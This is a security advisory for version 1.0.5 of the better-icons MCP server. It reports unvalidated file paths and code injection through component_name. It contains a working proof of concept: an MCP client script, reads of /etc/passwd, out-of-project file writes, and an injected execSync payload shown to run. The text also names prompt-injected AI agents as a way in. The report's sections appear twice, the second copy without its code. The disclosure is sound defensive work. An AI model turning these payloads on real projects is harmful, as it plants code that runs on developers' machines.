Summary
better-icons is an MCP server for searching Iconify icons and writing generated icon components into a project. Two tools, scan_project_icons and sync_icon, accept an icons_file argument described as an absolute path to the project icons file.
The implementation does not validate this path. There is no project-root confinement, no extension check, and no canonicalisation. The value is passed directly into file read/write logic.
The strongest issue is in sync_icon: the tool writes generated component source to the caller-supplied icons_file path. It also creates missing parent directories with recursive mkdir. If the target file already exists, it is read and rewritten with a new icon block appended.
In addition, sync_icon accepts component_name, which is inserted directly into generated JavaScript / TypeScript / Vue / Svelte / Solid source code. Because it is not validated as an identifier, a caller can inject raw source code into the generated file. If that file is later imported or built by the victim project, the injected code can execute in that build/runtime context.
scan_project_icons is weaker but still relevant: it reads the caller-supplied icons_file path and discloses matching icon definitions. This is an attacker-chosen file read with pattern-based disclosure, not a full arbitrary file-content read.
Threat model
This issue is reachable by any MCP client, prompt-injected agent, or malicious tool invocation that can call the server's tools. The tested transport is stdio MCP. This report does not assume direct Internet exposure unless the server is deployed behind a network-accessible MCP bridge.
Impact
A caller in this threat model can:
- Read attacker-chosen files through
scan_project_icons and receive any icon definitions matching the parser's expected pattern.
- Create or modify files at attacker-chosen process-writable paths through
sync_icon, including paths outside the intended project directory.
- Inject raw JavaScript / TypeScript source code through
component_name, because it is inserted directly into generated component templates.
The direct primitive is attacker-controlled source-file creation/modification. Code execution occurs when the victim project later imports, builds, or runs the generated file, which matches the intended use case of this MCP server.
Affected Component
- Repository: https://github.com/better-auth/better-icons
- npm package:
better-icons
- Tested version: 1.0.5
- Commit tested:
033316ecb8f4982235af4111a2257e80231f5ab1
- Affected tools:
scan_project_icons, sync_icon
- Affected arguments:
icons_file, component_name
- Transport tested: stdio MCP
CWE / Classification
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CWE-73: External Control of File Name or Path
- CWE-94: Improper Control of Generation of Code
Suggested severity: High for sync_icon because it combines out-of-scope file writes with source-code injection. scan_project_icons alone is lower severity because its read disclosure is pattern-based.
Root cause
icons_file is trusted as a raw filesystem path.
For scan_project_icons, the server passes icons_file into the icon parser, which reads the file and extracts matching icon definitions.
For sync_icon, the server passes icons_file into the file-writing path. The implementation creates the parent directory if needed, reads the existing target file if present, appends generated component code, and writes the result back to the same caller-supplied path.
component_name is also trusted. When supplied, it is used directly as the generated component name. In JavaScript / TypeScript output this becomes part of an export const ... declaration. Since there is no identifier validation or escaping, a malicious component_name can break out of the intended declaration shape and inject top-level source code.
A previous project fix addressed one Svelte HTML-injection path, but the broader template-generation surface still lacks identifier validation and path confinement.
Environment
- Host: Linux 6.17
- Node: 22
- Package:
better-icons 1.0.5
- Server invocation:
node dist/index.js
- Transport: stdio MCP
Reproduction
Setup
The upstream build script uses Bun (bun build ./src/index.ts --outdir dist --target node --minify), not tsc, so npm install alone will not produce dist/index.js. Either install Bun (recommended, matches upstream) or run the TypeScript source directly with tsx.
git clone https://github.com/better-auth/better-icons
cd better-icons
npm install # installs deps; does NOT build dist/
curl -fsSL https://bun.sh/install | bash
~/.bun/bin/bun run build # produces dist/index.js
mkdir -p /tmp/bicons_poc
poc_client.mjs:
import { spawn } from 'node:child_process';
const [SERVER, TOOL, ARGS_JSON] = process.argv.slice(2);
const ARGS = JSON.parse(ARGS_JSON);
const child = spawn('node', [SERVER], { stdio:['pipe','pipe','pipe'] });
child.stderr.on('data', d => process.stderr.write('[srv] ' + d));
let buf=''; const out=[];
child.stdout.on('data', d => {
buf += d;
for (let i; (i = buf.indexOf('\n')) !== -1;) {
const l = buf.slice(0,i); buf = buf.slice(i+1);
if (l.trim()) try { out.push(JSON.parse(l)); } catch {}
}
});
const send = o => child.stdin.write(JSON.stringify(o) + '\n');
const sleep = ms => new Promise(r => setTimeout(r, ms));
await sleep(300);
send({jsonrpc:'2.0',id:1,method:'initialize',
params:{protocolVersion:'2024-11-05',capabilities:{},clientInfo:{name:'poc',version:'0'}}});
await sleep(200);
send({jsonrpc:'2.0',method:'notifications/initialized',params:{}});
await sleep(200);
send({jsonrpc:'2.0',id:2,method:'tools/call',params:{name:TOOL, arguments:ARGS}});
await sleep(2000); child.stdin.end(); await sleep(300); child.kill();
for (const r of out) console.log(JSON.stringify(r));
Step 1 — scan_project_icons reads attacker-chosen paths
# (A) Real file with icon-pattern matches: full enumeration leaks
printf '// some\n// lucide:home\nexport const HomeIcon = (p) => null;\n// mdi:account\nexport const AccountIcon = (p) => null;\n' \
> /tmp/bicons_victim_target.tsx
node poc_client.mjs ./dist/index.js scan_project_icons \
'{"icons_file":"/tmp/bicons_victim_target.tsx"}'
# (B) /etc/passwd: no regex match, so content is not returned, but the
# caller-chosen path is still read by the server.
node poc_client.mjs ./dist/index.js scan_project_icons \
'{"icons_file":"/etc/passwd"}'
# (C) Nonexistent path: same response shape as (B), showing that the
# response partially collapses missing and exists-but-no-match cases.
node poc_client.mjs ./dist/index.js scan_project_icons \
'{"icons_file":"/etc/nonexistent_path"}'
Step 2 — sync_icon writes attacker-controlled file at attacker-controlled path
rm -rf /tmp/bicons_exfil_write_demo
node poc_client.mjs ./dist/index.js sync_icon \
'{"icons_file":"/tmp/bicons_exfil_write_demo/planted_payload.tsx",
"framework":"react",
"icon_id":"lucide:home"}'
ls -la /tmp/bicons_exfil_write_demo/
cat /tmp/bicons_exfil_write_demo/planted_payload.tsx
Step 3 — sync_icon + component_name injects raw JS/TS source
rm -rf /tmp/bicons_codeinj
node poc_client.mjs ./dist/index.js sync_icon "$(cat <<'JSON'
{"icons_file":"/tmp/bicons_codeinj/payload.tsx",
"framework":"react",
"icon_id":"lucide:home",
"component_name":"Pwned = (() => { require(\"child_process\").execSync(\"id > /tmp/bicons_codeinj/RCE_PROOF\"); return null; })(); export const HomeIcon"}
JSON
)"
cat /tmp/bicons_codeinj/payload.tsx
Any consumer that imports this file, such as Vite, Next, webpack, esbuild, or a TS runtime loader, evaluates the injected IIFE and writes id output to /tmp/bicons_codeinj/RCE_PROOF.
Observed result
Step 1 (A):
{"result":{"content":[{"type":"text","text":"# Project Icons\n\n**File:** /tmp/bicons_victim_target.tsx\n**Total:** 2 icons\n\n- `HomeIcon` ← lucide:home\n- `AccountIcon` ← mdi:account\n\nUse these component names directly in your code, or use `sync_icon` to add more."}]},...}
Step 1 (B) and (C):
{"result":{"content":[{"type":"text","text":"# Project Icons\n\n**File:** /etc/passwd\n\nNo icons found in file yet (or file doesn't exist). ..."}]},...}
{"result":{"content":[{"type":"text","text":"# Project Icons\n\n**File:** /etc/nonexistent_path\n\nNo icons found in file yet (or file doesn't exist). ..."}]},...}
The response text is identical for /etc/passwd and a nonexistent path, so this is not a full content leak. However, the server still attempts to read the attacker-chosen path, and any file matching the expected icon pattern is disclosed as shown in Step 1(A).
Step 2:
{"result":{"content":[{"type":"text","text":"# Icon Added\n\n**Icon:** lucide:home\n**Component:** HomeIcon\n**File:** /tmp/bicons_exfil_write_demo/planted_payload.tsx\n..."}]},...}
$ ls -la /tmp/bicons_exfil_write_demo/
-rw-rw-r-- 1 exouser exouser 646 May 28 15:18 planted_payload.tsx
$ cat /tmp/bicons_exfil_write_demo/planted_payload.tsx
// Auto-generated icons file - managed by better-icons
// Do not edit manually - use sync_icon to add new icons
import type React from "react";
// lucide:home
export const HomeIcon = (props: React.SVGProps<SVGSVGElement>) => (
<svg {...props} xmlns="http://www.w3.org/2000/svg" ...>...</svg>
);
The directory /tmp/bicons_exfil_write_demo/ did not exist before the call. It was created by the server.
Step 3:
$ cat /tmp/bicons_codeinj/payload.tsx
// Auto-generated icons file - managed by better-icons
// Do not edit manually - use sync_icon to add new icons
import type React from "react";
// lucide:home
export const Pwned = (() => { require("child_process").execSync("id > /tmp/bicons_codeinj/RCE_PROOF"); return null; })(); export const HomeIcon = (props: React.SVGProps<SVGSVGElement>) => (
<svg {...props} ...>...</svg>
);
The file is valid TypeScript. End-to-end execution was verified on the reproduction host by feeding payload.tsx to tsx:
$ npm install --no-save tsx
$ ./node_modules/.bin/tsx /tmp/bicons_codeinj/payload.tsx
$ cat /tmp/bicons_codeinj/RCE_PROOF
uid=1001(exouser) gid=1001(exouser) groups=1001(exouser),27(sudo),110(admin),127(docker),1000(ubuntu),1002(vglusers)
The require("child_process").execSync(...) injected via component_name executed with the privileges of the process that loaded the file. The direct MCP-side primitive remains "write attacker-controlled JS/TS source to an attacker-chosen path"; the RCE fires on any subsequent import / build / runtime evaluation of that path, which is the intended use of sync_icon.
Expected result
The server should reject icons_file values that resolve outside an explicit project root. The root can be configured through an environment variable or CLI flag and should default to the intended working directory.
The server should restrict icons_file extensions to expected source/component types, such as .tsx, .ts, .jsx, .js, .vue, .svelte, or .svg.
component_name should be validated as a JavaScript identifier before it reaches any source-code template. icon_id should also be validated before being inserted into generated comments or framework templates.
scan_project_icons should not echo arbitrary absolute paths back to the caller and should avoid distinguishing out-of-scope paths through response text.
Suggested fix
Add a path-safety wrapper for icons_file:
- resolve the supplied path;
- verify it stays inside the configured project root;
- reject traversal or absolute paths outside that root;
- enforce an allowed extension list;
- only then pass the path to read/write logic.
Add identifier validation before component generation:
component_name should match a strict JavaScript identifier pattern;
icon_id should match the expected Iconify format;
- invalid values should be rejected before any template interpolation.
Also remove raw absolute paths from tool responses and replace out-of-scope access errors with a generic message.
Finally, audit all code-generation templates and all call sites that use icons_file, component_name, customName, or iconId.
Summary
better-iconsis an MCP server for searching Iconify icons and writing generated icon components into a project. Two tools,scan_project_iconsandsync_icon, accept anicons_fileargument described as an absolute path to the project icons file.The implementation does not validate this path. There is no project-root confinement, no extension check, and no canonicalisation. The value is passed directly into file read/write logic.
The strongest issue is in
sync_icon: the tool writes generated component source to the caller-suppliedicons_filepath. It also creates missing parent directories with recursive mkdir. If the target file already exists, it is read and rewritten with a new icon block appended.In addition,
sync_iconacceptscomponent_name, which is inserted directly into generated JavaScript / TypeScript / Vue / Svelte / Solid source code. Because it is not validated as an identifier, a caller can inject raw source code into the generated file. If that file is later imported or built by the victim project, the injected code can execute in that build/runtime context.scan_project_iconsis weaker but still relevant: it reads the caller-suppliedicons_filepath and discloses matching icon definitions. This is an attacker-chosen file read with pattern-based disclosure, not a full arbitrary file-content read.Threat model
This issue is reachable by any MCP client, prompt-injected agent, or malicious tool invocation that can call the server's tools. The tested transport is stdio MCP. This report does not assume direct Internet exposure unless the server is deployed behind a network-accessible MCP bridge.
Impact
A caller in this threat model can:
scan_project_iconsand receive any icon definitions matching the parser's expected pattern.sync_icon, including paths outside the intended project directory.component_name, because it is inserted directly into generated component templates.The direct primitive is attacker-controlled source-file creation/modification. Code execution occurs when the victim project later imports, builds, or runs the generated file, which matches the intended use case of this MCP server.
Affected Component
better-icons033316ecb8f4982235af4111a2257e80231f5ab1scan_project_icons,sync_iconicons_file,component_nameCWE / Classification
Suggested severity: High for
sync_iconbecause it combines out-of-scope file writes with source-code injection.scan_project_iconsalone is lower severity because its read disclosure is pattern-based.Root cause
icons_fileis trusted as a raw filesystem path.For
scan_project_icons, the server passesicons_fileinto the icon parser, which reads the file and extracts matching icon definitions.For
sync_icon, the server passesicons_fileinto the file-writing path. The implementation creates the parent directory if needed, reads the existing target file if present, appends generated component code, and writes the result back to the same caller-supplied path.component_nameis also trusted. When supplied, it is used directly as the generated component name. In JavaScript / TypeScript output this becomes part of anexport const ...declaration. Since there is no identifier validation or escaping, a maliciouscomponent_namecan break out of the intended declaration shape and inject top-level source code.A previous project fix addressed one Svelte HTML-injection path, but the broader template-generation surface still lacks identifier validation and path confinement.
Environment
better-icons1.0.5node dist/index.jsReproduction
Setup
The upstream
buildscript uses Bun (bun build ./src/index.ts --outdir dist --target node --minify), nottsc, sonpm installalone will not producedist/index.js. Either install Bun (recommended, matches upstream) or run the TypeScript source directly withtsx.poc_client.mjs:Step 1 —
scan_project_iconsreads attacker-chosen pathsStep 2 —
sync_iconwrites attacker-controlled file at attacker-controlled pathStep 3 —
sync_icon+component_nameinjects raw JS/TS sourceAny consumer that imports this file, such as Vite, Next, webpack, esbuild, or a TS runtime loader, evaluates the injected IIFE and writes
idoutput to/tmp/bicons_codeinj/RCE_PROOF.Observed result
Step 1 (A):
Step 1 (B) and (C):
The response text is identical for
/etc/passwdand a nonexistent path, so this is not a full content leak. However, the server still attempts to read the attacker-chosen path, and any file matching the expected icon pattern is disclosed as shown in Step 1(A).Step 2:
The directory
/tmp/bicons_exfil_write_demo/did not exist before the call. It was created by the server.Step 3:
The file is valid TypeScript. End-to-end execution was verified on the reproduction host by feeding
payload.tsxtotsx:The
require("child_process").execSync(...)injected viacomponent_nameexecuted with the privileges of the process that loaded the file. The direct MCP-side primitive remains "write attacker-controlled JS/TS source to an attacker-chosen path"; the RCE fires on any subsequent import / build / runtime evaluation of that path, which is the intended use ofsync_icon.Expected result
The server should reject
icons_filevalues that resolve outside an explicit project root. The root can be configured through an environment variable or CLI flag and should default to the intended working directory.The server should restrict
icons_fileextensions to expected source/component types, such as.tsx,.ts,.jsx,.js,.vue,.svelte, or.svg.component_nameshould be validated as a JavaScript identifier before it reaches any source-code template.icon_idshould also be validated before being inserted into generated comments or framework templates.scan_project_iconsshould not echo arbitrary absolute paths back to the caller and should avoid distinguishing out-of-scope paths through response text.Suggested fix
Add a path-safety wrapper for
icons_file:Add identifier validation before component generation:
component_nameshould match a strict JavaScript identifier pattern;icon_idshould match the expected Iconify format;Also remove raw absolute paths from tool responses and replace out-of-scope access errors with a generic message.
Finally, audit all code-generation templates and all call sites that use
icons_file,component_name,customName, oriconId.